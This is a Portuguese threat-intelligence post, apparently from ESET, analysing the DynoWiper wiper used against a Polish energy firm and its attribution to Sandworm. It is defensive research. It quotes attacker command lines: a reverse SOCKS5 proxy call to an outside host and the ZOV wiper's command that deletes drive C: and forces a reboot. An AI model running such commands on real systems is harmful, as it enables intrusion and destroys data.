DynoWiper: atualizações, análise técnica e atribuição

Neste post, explicamos mais detalhes técnicos relacionados à nossa publicação anterior sobre o DynoWiper.

Principais pontos desta publicação:

• A equipe de pesquisa da ESET identificou um novo malware do tipo wiper, batizado de DynoWiper, utilizado contra uma empresa do setor de energia na Polônia.
• As táticas, técnicas e procedimentos (TTPs) observados durante o incidente com o DynoWiper são muito semelhantes aos registrados no início deste ano em um ataque envolvendo o wiper ZOV na Ucrânia - sendo Z, O e V símbolos militares russos.
• Atribuímos o DynoWiper ao grupo Sandworm com confiança média, em contraste com o wiper ZOV, que foi atribuído ao Sandworm com alta confiança.

Perfil do Sandworm

O Sandworm é um grupo cibercriminoso alinhado à Rússia, conhecido por conduzir ataques destrutivos. O grupo ganhou notoriedade principalmente pelos ataques contra empresas do setor de energia na Ucrânia em dezembro de 2015 e dezembro de 2016, que resultaram em interrupções no fornecimento de eletricidade.

Em junho de 2017, o Sandworm lançou o ataque wiper NotPetya, que explorou um vetor de cadeia de suprimentos ao comprometer o software de contabilidade ucraniano M.E.Doc. Já em fevereiro de 2018, o grupo esteve por trás do ataque Olympic Destroyer, direcionado aos organizadores dos Jogos Olímpicos de Inverno de 2018, em Pyeongchang.

O grupo utiliza malwares avançados, como o Industroyer, capaz de se comunicar com equipamentos de empresas de energia por meio de protocolos de controle industrial. Em abril de 2022, o CERT-UA frustrou um ataque contra uma empresa de energia na Ucrânia, no qual o Sandworm tentou implantar uma nova variante desse malware, denominado Industroyer2.

Em outubro de 2020, o Departamento de Justiça dos Estados Unidos publicou uma acusação contra seis cibercriminosos russos que, segundo as autoridades, prepararam e conduziram diversos ataques atribuídos ao Sandworm. O grupo é comumente associado à Unidade 74455 da Diretoria Principal de Inteligência da Rússia (GRU).

Histórico das operações destrutivas do Sandworm

O Sandworm é um grupo cibercriminoso conhecido por conduzir ataques cibernéticos destrutivos, visando uma ampla gama de instituições, incluindo órgãos governamentais, empresas de logística e transporte, fornecedores de energia, orgãos de imprensa, empresas do setor de grãos e companhias de telecomunicações. Esses ataques geralmente envolvem a implantação de um malware do tipo wiper, software malicioso projetado para excluir arquivos, apagar dados e tornar os sistemas não inicializáveis.

Os operadores dessa espécie de malware possuem um longo histórico desse tipo de atividade, amplamente documentado ao longo dos anos. Neste post, focamos em suas operações mais recentes envolvendo malwares do tipo wiper.

Para evitar a detecção por produtos de cibersegurança, o Sandworm frequentemente modifica o malware destrutivo que implanta. Em alguns casos, introduz pequenas alterações ou gera variantes recém-compiladas a partir do código-fonte original. Em outros, abandona completamente um wiper específico e migra para uma família de malware totalmente nova. Raramente observamos o Sandworm implantar uma amostra de malware destrutivo já utilizada em ataques anteriores, como uma amostra com hash conhecido, ou que já estivesse sendo detectada no momento da implantação.

Desde fevereiro de 2022, monitoramos de forma minuciosa incidentes envolvendo malwares destrutivos e documentamos publicamente nossas descobertas em relatórios como A year of wiper attacks in Ukraine. Ao longo dos anos, o Sandworm implantou uma ampla variedade de famílias de malwares destrutivos, incluindo, em ordem cronológica aproximada, HermeticWiper, HermeticRansom, CaddyWiper, DoubleZero, ARGUEPATCH, ORCSHRED, SOLOSHRED, AWFULSHRED, Prestige ransomware, RansomBoggs ransomware, wipers baseados no SDelete, BidSwipe, ROARBAT, SwiftSlicer, NikoWiper, SharpNikoWiper, ZEROLOT, wiper Sting e wiper ZOV. Vale destacar que algumas dessas famílias foram implantadas diversas vezes em uma série de incidentes. Em 2025, a ESET investigou mais de dez incidentes envolvendo malware destrutivo atribuído ao Sandworm, quase todos ocorridos na Ucrânia.

Aprimoramos continuamente nossos produtos para melhorar a detecção precoce das operações do Sandworm. O objetivo é identificar a atividade antes que os wipers sejam implantados e, sempre que possível, evitar prejuízos mesmo quando um malware destrutivo previamente desconhecido é executado. Como a maioria dos ataques cibernéticos do Sandworm atualmente tem como alvo a Ucrânia, colaboramos estreitamente com parceiros locais, incluindo a Equipe de Resposta a Emergências de Computadores da Ucrânia, CERT-UA, para apoiar os esforços de prevenção e remediação.

Além da Ucrânia, o Sandworm mantém um histórico de mais de uma década de ataques a empresas na Polônia, incluindo organizações do setor de energia. Tradicionalmente, essas operações foram conduzidas de forma furtiva, com objetivos de ciberespionagem, como observado nos casos BlackEnergy e GreyEnergy. Destaca-se que a primeira implantação do malware GreyEnergy em uma empresa de energia polonesa foi detectada em 2015.

No entanto, desde o início da invasão russa em larga escala da Ucrânia, o Sandworm alterou suas táticas em relação aos alvos na Polônia. Em outubro de 2022, por exemplo, o grupo conduziu um ataque destrutivo contra empresas de logística na Ucrânia e na Polônia, disfarçando a operação como um incidente de ransomware Prestige. A Microsoft Threat Intelligence reportou esses incidentes e os atribuiu ao grupo cibercriminoso que denomina Seashell Blizzard, também conhecido como Sandworm. Na ESET, detectamos a família de ransomware Prestige e atribuímos publicamente essa atividade ao Sandworm.

Em dezembro de 2025, detectamos a implantação de uma amostra de malware destrutivo, que denominamos DynoWiper, em uma empresa do setor de energia na Polônia. O produto EDR e XDR instalado, o ESET PROTECT, bloqueou a execução do wiper, limitando significativamente seu impacto no ambiente. Neste post, revelamos detalhes adicionais sobre essa atividade e descrevemos nosso processo de atribuição.

Em dezembro de 2025, detectamos a implantação de uma amostra de malware destrutivo, que chamamos de DynoWiper, em uma empresa de energia na Polônia. O produto EDR/XDR instalado, ESET PROTECT, bloqueou a execução do wiper, limitando significativamente seu impacto no ambiente. Neste blogpost, revelamos detalhes adicionais sobre essa atividade e descrevemos nosso processo de atribuição.

O CERT Polska realizou um excelente trabalho na investigação do incidente e publicou uma análise detalhada em um relatório disponível em seu site.

DynoWiper

Em 29 de dezembro de 2025, amostras do DynoWiper foram implantadas no diretório C:\inetpub\pub\, que provavelmente corresponde a um diretório compartilhado no domínio da organização vítima. As amostras utilizavam os seguintes nomes de arquivo: schtask.exe, schtask2.exe e <redacted>_update.exe.

As amostras schtask*.exe contêm o caminho PDB C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb. O nome de usuário vagrant está associado à ferramenta Vagrant, comumente utilizada para o gerenciamento de máquinas virtuais. Esse artefato sugere que o sistema utilizado para compilar o wiper era uma máquina Vagrant ou, mais provavelmente, um sistema host responsável por gerenciar máquinas virtuais por meio dessa ferramenta. Dessa forma, é plausível que os operadores do Sandworm tenham testado o malware em ambientes virtualizados antes de sua implantação no ambiente da organização-alvo.

Os cibercriminosos inicialmente implantaram o arquivo <redacted>_update.exe, cujo registro de data e hora do PE é 2025-12-26 13:51:11. Como essa tentativa aparentemente falhou, eles modificaram o código do wiper, recompilaram o malware e implantaram o arquivo schtask.exe, com registro de data e hora do PE 2025-12-29 13:17:06. Essa segunda tentativa também parece não ter sido bem-sucedida, levando a uma nova recompilação com pequenas alterações no código, que resultou na amostra schtask2.exe, com registro de data e hora do PE 2025-12-29 14:10:07. É provável que essa terceira tentativa também tenha falhado. As três amostras foram implantadas no mesmo dia, 29 de dezembro de 2025. O ESET PROTECT estava instalado nos sistemas visados e aparenta ter interferido na execução de todas as variantes.

O fluxo de execução do DynoWiper pode ser dividido em três fases distintas, descritas a seguir. As amostras schtask*.exe implementam apenas as duas primeiras fases e introduzem um atraso de cinco segundos entre elas. Em contrapartida, a amostra <redacted>_update.exe implementa todas as três fases e não inclui o atraso de cinco segundos.

O wiper sobrescreve arquivos utilizando um buffer de 16 bytes contendo dados aleatórios gerados uma única vez no início da execução. Arquivos com tamanho igual ou inferior a 16 bytes são completamente sobrescritos, enquanto arquivos menores são estendidos até atingir esse tamanho. Para acelerar o processo de destruição, arquivos maiores que 16 bytes têm apenas partes específicas de seu conteúdo sobrescritas.

Durante a primeira fase, o wiper apaga recursivamente os arquivos em todas as unidades removíveis e fixas, excluindo determinados diretórios com base em uma comparação sem distinção entre maiúsculas e minúsculas:

• system32
• windows
• arquivos de programas
• program files(x86) (está faltando um espaço antes do colchete aberto)
• temp
• recycle.bin
• $recycle.bin
• boot
• perflogs
• dados do aplicativo
• documentos e configurações

Para as amostras <redacted>_update.exe e schtask.exe, a segunda fase apresenta comportamento semelhante, mas, dessa vez, os diretórios previamente excluídos deixam de ser ignorados quando localizados no diretório raiz, como C:\. Como resultado, um caminho como C:\Windows deixa de ser excluído, enquanto C:\Windows\System32 continua sendo preservado. No caso da amostra schtask2.exe, durante a segunda fase, todos os arquivos e diretórios presentes em unidades removíveis e fixas são removidos por meio da API DeleteFileW, sem exclusão de diretórios específicos e sem sobrescrita prévia dos arquivos.

A terceira fase força a reinicialização do sistema, concluindo o processo de destruição. 

Diferentemente do Industroyer e do Industroyer2, as amostras conhecidas do DynoWiper concentram-se exclusivamente no ambiente de TI, sem funcionalidades observadas voltadas a componentes de tecnologia operacional (OT). No entanto, isso não exclui a possibilidade de que capacidades direcionadas a ambientes industriais estejam presentes em outros estágios da cadeia de ataque.

Outras ferramentas implementadas

Identificamos ferramentas adicionais utilizadas na mesma rede antes da implantação do wiper. 

Nos estágios iniciais do ataque, os invasores tentaram fazer o download da ferramenta Rubeus, disponível publicamente. O arquivo foi baixado para o seguinte caminho: c:\users\<USERNAME>\downloads\rubeus.exe.

No início de dezembro de 2025, os atacantes tentaram realizar o despejo do processo LSASS utilizando o Gerenciador de Tarefas do Windows. Além disso, tentaram baixar e executar uma ferramenta de proxy SOCKS5 de código aberto chamada rsocx. Os cibercriminosos buscaram executar esse proxy no modo de conexão reversa, utilizando a seguinte linha de comando: C:\Users\<USERNAME>\Downloads\r.exe -r 31.172.71[.]5:8008. O servidor utilizado pertence à ProGame (progamevl[.]ru), uma escola de programação para crianças localizada em Vladivostok, na Rússia, e provavelmente foi comprometido.

Wiper ZOV

Identificamos diversas semelhanças com malwares destrutivos observados anteriormente, em especial com o wiper que denominamos ZOV, o qual atribuímos ao Sandworm com alto grau de confiança. O DynoWiper opera de maneira muito semelhante ao ZOV. Em particular, a exclusão de diretórios específicos e, sobretudo, a lógica claramente separada no código para a exclusão de arquivos pequenos e grandes também está presente no wiper ZOV.

O ZOV é um malware destrutivo que detectamos sendo implantado contra uma instituição financeira na Ucrânia em novembro de 2025.

Uma vez executado, o wiper ZOV percorre os arquivos em todas as unidades fixas e os apaga sobrescrevendo seu conteúdo. Ele ignora arquivos localizados nos seguintes diretórios:

• $Recycle.Bin
• AppData
• Dados do aplicativo
• Arquivos de programas
• Arquivos de programas (x86)
• Temp
• Windows
• Windows.old

A forma como cada arquivo é apagado depende de seu tamanho. Para destruir os dados o mais rapidamente possível, arquivos menores que 4.098 bytes têm todo o seu conteúdo sobrescrito, enquanto arquivos maiores têm apenas partes específicas de seu conteúdo sobrescritas. O buffer gravado repetidamente nos arquivos possui 4.098 bytes e começa com a string ZOV, uma referência aos símbolos militares russos, seguida por bytes nulos.

Após concluir esse processo de exclusão de arquivos de forma acelerada, o malware imprime o número de diretórios e arquivos apagados e executa o seguinte comando no shell: /t & ver & rmdir C:\\ /s /q && dir && shutdown /r.Esse comando exibe a hora local atual e a versão do Windows, apaga o conteúdo da unidade C:, lista o diretório de trabalho atual e força a reinicialização do sistema.

Pouco antes de encerrar sua execução, o wiper extrai uma imagem de seus próprios recursos para %appdata%\LocWall.jpg e a define como papel de parede da área de trabalho. Conforme ilustrado na Figura 1, o papel de parede exibe o símbolo ZOV.

Houve outro incidente envolvendo o wiper ZOV em uma empresa do setor de energia na Ucrânia, no qual os cibercriminosos implantaram o malware em 25 de janeiro de 2024. Na amostra observada nesse caso, o buffer utilizado para sobrescrever os arquivos não continha o símbolo ZOV. Em vez disso, continha apenas o caractere P, seguido por bytes nulos. Além disso, o texto presente na imagem descartada, mostrada na Figura 2, assemelha-se a uma nota de resgate, mas faz referência a um endereço de Bitcoin inexistente.

Métodos de implantação de malware destrutivo

O Sandworm normalmente explora a Política de Grupo do Active Directory para implantar malware do tipo wiper em todas as máquinas de uma rede comprometida. A aplicação de GPOs em toda a organização geralmente exige privilégios de administrador de domínio e costuma ser preparada a partir de um controlador de domínio. Esse comportamento evidencia o alto nível de sofisticação do Sandworm e sua capacidade comprovada de obter acesso ao Active Directory com privilégios elevados em diversas invasões.

Durante a resposta ao incidente do ataque do Industroyer2, em abril de 2022, o CERT-UA identificou um script em PowerShell que denominou POWERGAP. O Sandworm utilizou esse script com frequência para implantar diferentes wipers em múltiplas organizações. Posteriormente, em novembro de 2022, pesquisadores da ESET descobriram que o mesmo script havia sido empregado para distribuir o ransomware RansomBoggs na Ucrânia. Em algum momento, no entanto, o Sandworm deixou de utilizar esse mecanismo de implantação, embora tenha continuado a distribuir malware destrutivo por meio da Política de Grupo do Active Directory.

Durante a análise do incidente envolvendo o wiper ZOV, identificamos um script mais recente em PowerShell utilizado para implantar esse malware. O script contém variáveis codificadas especificamente para o ambiente da vítima, incluindo o nome do controlador de domínio, o nome do domínio, o nome do objeto de Política de Grupo, o nome do arquivo implantado, o caminho do arquivo, a cadeia de vínculos do GPO e o nome da tarefa agendada. Uma vez executado, o script realiza todas as ações necessárias para distribuir o binário malicioso a usuários e computadores em todo o domínio.

De forma ainda mais relevante, foi identificado um script de implantação com funcionalidade muito semelhante, embora sem grande similaridade de código, sendo utilizado para implantar o DynoWiper em uma empresa do setor de energia na Polônia. Nesse caso, porém, o binário malicioso não foi distribuído para computadores individuais, mas executado diretamente a partir de um diretório de rede compartilhado.

Como mencionado anteriormente, operações realizadas com wipers dessa natureza geralmente exigem que o cibercriminoso possua privilégios de administrador de domínio. Ao atingir esse nível de acesso, a defesa do ambiente torna-se extremamente complexa, uma vez que o criminoso passa a ter a capacidade de executar praticamente qualquer ação dentro do domínio. Algumas organizações, especialmente no setor de energia, também segmentam ou isolam deliberadamente partes de seus ambientes de TI e OT para atender a requisitos operacionais e de segurança. Embora esse isolamento possa representar uma estratégia válida de gerenciamento de riscos, ele tende a reduzir a visibilidade do defensor e a retardar a coleta de evidências e os fluxos de resposta, o que pode dificultar a investigação de incidentes e resultar em atribuições com menor grau de confiança.

Atribuição

Atribuímos o DynoWiper ao Sandworm com confiança média. Os seguintes fatores sustentam essa avaliação:

• Há uma forte sobreposição entre os TTPs observados nessa atividade e aqueles normalmente associados às operações do Sandworm. Em particular, o uso de wipers e sua implantação por meio da Política de Grupo do Active Directory são técnicas comumente empregadas pelo grupo. Conforme descrito anteriormente, identificamos semelhanças tanto entre os wipers utilizados quanto entre os scripts de implantação via Política de Grupo ao comparar este caso com atividades anteriores atribuídas ao Sandworm.
• O setor visado está alinhado com os interesses tradicionais do Sandworm. O grupo frequentemente tem como alvo empresas do setor de energia e possui um histórico consolidado de ataques a ambientes de tecnologia operacional (OT).
• Historicamente, o Sandworm tem como alvo empresas de energia na Polônia para fins de ciberespionagem, utilizando famílias de malware como BlackEnergy e GreyEnergy.
• Não temos conhecimento de nenhum outro grupo cibercriminoso ativo recentemente que tenha empregado wipers em operações contra alvos localizados em países da União Europeia.

Os fatores a seguir limitam ou contradizem a atribuição ao Sandworm:

Embora o Sandworm já tenha visado organizações na Polônia, essas atividades tradicionalmente ocorreram de forma sigilosa, seja com objetivos exclusivamente de ciberespionagem, seja disfarçando operações destrutivas como ataques de ransomware, como observado nos incidentes envolvendo o ransomware Prestige. É importante destacar que atribuímos apenas o componente de exclusão de dados dessa atividade ao Sandworm, e ainda assim com confiança média.

Além disso, não temos visibilidade sobre o método de acesso inicial utilizado neste incidente e, portanto, não é possível avaliar como, ou por quem, as etapas iniciais do ataque foram conduzidas. Em particular, os estágios preparatórios que culminaram na atividade destrutiva podem ter sido executados por outro grupo cibercriminoso em colaboração com o Sandworm. De forma relevante, em 2025, observamos e confirmamos que o grupo UAC-0099 realizou operações de acesso inicial contra alvos na Ucrânia e, posteriormente, forneceu acesso validado ao Sandworm para a condução de atividades subsequentes.

Conclusão

Este incidente representa um caso raro e sem precedentes em que um agente de ameaças alinhado à Rússia implantou malware destrutivo de limpeza de dados contra uma empresa do setor de energia na Polônia.

Para quaisquer dúvidas sobre a pesquisa publicada no WeLiveSecurity, entre em contato conosco pelo e-mail threatintel@eset.com.

Indicadores de Comprometimento

Rede

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 18 da estrutura MITRE ATT&CK.